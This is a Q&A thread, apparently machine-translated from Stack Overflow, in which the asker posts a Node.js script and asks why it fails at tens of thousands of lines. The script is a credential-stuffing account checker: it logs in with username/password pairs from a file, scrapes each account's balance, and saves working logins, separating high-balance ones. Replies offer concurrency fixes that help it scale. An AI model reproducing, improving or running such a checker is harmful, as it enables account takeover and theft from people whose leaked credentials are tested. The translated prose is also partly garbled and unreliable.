5,10,1000コードは問題なく動作するようにdata.txtをで私のデータがあるとき、私はタスクが多すぎる場合、nodejs http要求は失敗しますか?
var mins = 150;
var url = require('url');
const domainim= 'example.com';
const request = require('requestretry').defaults({
jar : true,
timeout : 120000
});
const req = require('request');
var fs = require('fs');
var linkler = [];
var timeoutsure = 120 * 1000;
var separateReqPool = {
maxSockets : 20
};
let success = 0, fail = 0, toplam = 0, plusplus = 0;
let adet = 0;
let jardata = {};
let baslama = Math.round(new Date().getTime()/1000);
function texts(l) {
var t = "";
var p = "abcdefghijklmnopqrstuvwxyz";
for (var i = 0; i < l; i++) {
t += p.charAt(Math.floor(Math.random() * p.length));
}
return t;
}
fs.readFile("data.txt", function (err, data) {
if (err)
throw err;
data = data.toString().replace("\r", "");
data = data.split(/\r\n|\r|\n/g);
console.log("toplam data : " + data.length);
toplam = data.length;
data.forEach(
function (line) {
isle(line);
});
});
function onExit() {
console.log('\n%d sec,\n%d total,\n%d suc,\n%d fai,\n%d plusplus,\n---------------------\n',
(Math.round(new Date().getTime()/1000)) - baslama, toplam, success, fail, plusplus);
}
process.on('exit', onExit);
function dataok(id, pass, bakiye) {
console.log(id + " " + pass + " " + bakiye);
var fd = fs.openSync("hardblock.txt", 'a+');
fs.writeSync(fd, id + " " + pass + " " + bakiye + "\r\n");
fs.closeSync(fd);
}
function extradata(id, pass, bakiye) {
console.log(id + " " + pass + " " + bakiye);
var fd = fs.openSync("harddata.txt", 'a+');
fs.writeSync(fd, id + " " + pass + " " + bakiye + "\r\n");
fs.closeSync(fd);
}
function isle(line) {
jardata[line.split(" ")[0]] = req.jar();
request({
url : 'http://'+domainim+'/',
jar : jardata[line.split(" ")[0]],
headers : {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
},
maxAttempts : 15,
retryDelay : 2000,
followRedirect : true,
// proxy :"http://127.0.0.1:38936",
timeout : timeoutsure,
pool : separateReqPool
}, function optionalCallback(err, httpResponse, body) {
if (httpResponse && httpResponse.attempts) {
adet += httpResponse.attempts;
}
if (err) {
return console.error('failed: 49', err);
} else {
data = {
username : line.split(" ")[0],
password : line.split(" ")[1],
submit : "Giriş"
};
request.post({
url : 'http://'+domainim+'/dologin/',
jar : jardata[line.split(" ")[0]],
header : httpResponse.headers,
headers : {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
},
maxAttempts : 15,
retryDelay : 2000,
followRedirect : false,
followAllRedirects : false,
// proxy :"http://127.0.0.1:38936",
timeout : timeoutsure,
pool : separateReqPool,
form : data
}, function optionalCallback(err, httpResponse, body) {
if (httpResponse && httpResponse.attempts) {
adet += httpResponse.attempts;
}
if (err) {
return console.error('failed: 49', err);
} else {
request({
url : 'http://'+domainim+'/',
jar : jardata[line.split(" ")[0]],
headers : {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
},
maxAttempts : 15,
retryDelay : 2000,
followRedirect : true,
// proxy :"http://127.0.0.1:38936",
timeout : timeoutsure,
pool : separateReqPool
}, function optionalCallback(err, httpResponse, body) {
if (httpResponse && httpResponse.attempts) {
adet += httpResponse.attempts;
}
if (err) {}
else {
if (body.indexOf('class="success"') > -1) {
dataok(line.split(" ")[0], line.split(" ")[1], body.split('class="succes" title="')[1].split('"')[0]);
success++;
if (parseFloat(body.split('class="succes" title="')[1].split('"')[0]) >= mins) {
plusplus++;
extradata(line.split(" ")[0], line.split(" ")[1], body.split('class="succes" title="')[1].split('"')[0]);
} else {
request({
url : 'http://'+domainim+'/refresh/',
jar : jardata[line.split(" ")[0]],
headers : {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36'
},
maxAttempts : 15,
retryDelay : 2000,
followRedirect : true,
// proxy :"http://127.0.0.1:38936",
timeout : timeoutsure,
pool : separateReqPool
}, function optionalCallback(err, httpResponse, body) {
if (httpResponse && httpResponse.attempts) {
adet += httpResponse.attempts;
}
if (err) {}
else {
if (parseFloat(body)>= mins){
plusplus++;
extradata(line.split(" ")[0], line.split(" ")[1], parseFloat(body));
}
}
});
}
} else {
fail++;
}
}
});
}
});
}
});
}
、nodejsによっていくつかのAPIポイントにログインし、HTTPを呼び出す必要があります。
が、データが大きくなったときに15,000または50,000またはより大きな
のようにそれが唯一のhttpは10%の成功率で呼び出すことができます。他の人が失敗し、次のようなエラーが表示されます。
failed: 49 Error: connect EADDRINUSE 103.253.186.202:80
at Object._errnoException (util.js:1031:13)
at _exceptionWithHostPort (util.js:1052:20)
at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1195:14)
errno: 'EADDRINUSE',
code: 'EADDRINUSE',
syscall: 'connect',
address: '1.2.3.4',
port: 80
私は間違っている可能性がありますか? nodejsはこれを行うことができませんか?予想通り
とjarファイルが動作しない、それは時々の他のsessionas間違い
i use var separateReqPool = { \t maxSockets:20 }; はこれを制限するのに十分ではありませんか? –
@MustafaMarsliTopaloğlu - 私は 'request()'ドキュメントから 'pool'プロパティを設定することがあなたの提案する方法を制限しているかどうかは分かりません。あなたはまだ多くの並列な 'request()'操作を起動しようとしています。 – jfriend00
バラードを使用すると私は解決したプロミス+リクエスト - 約束 –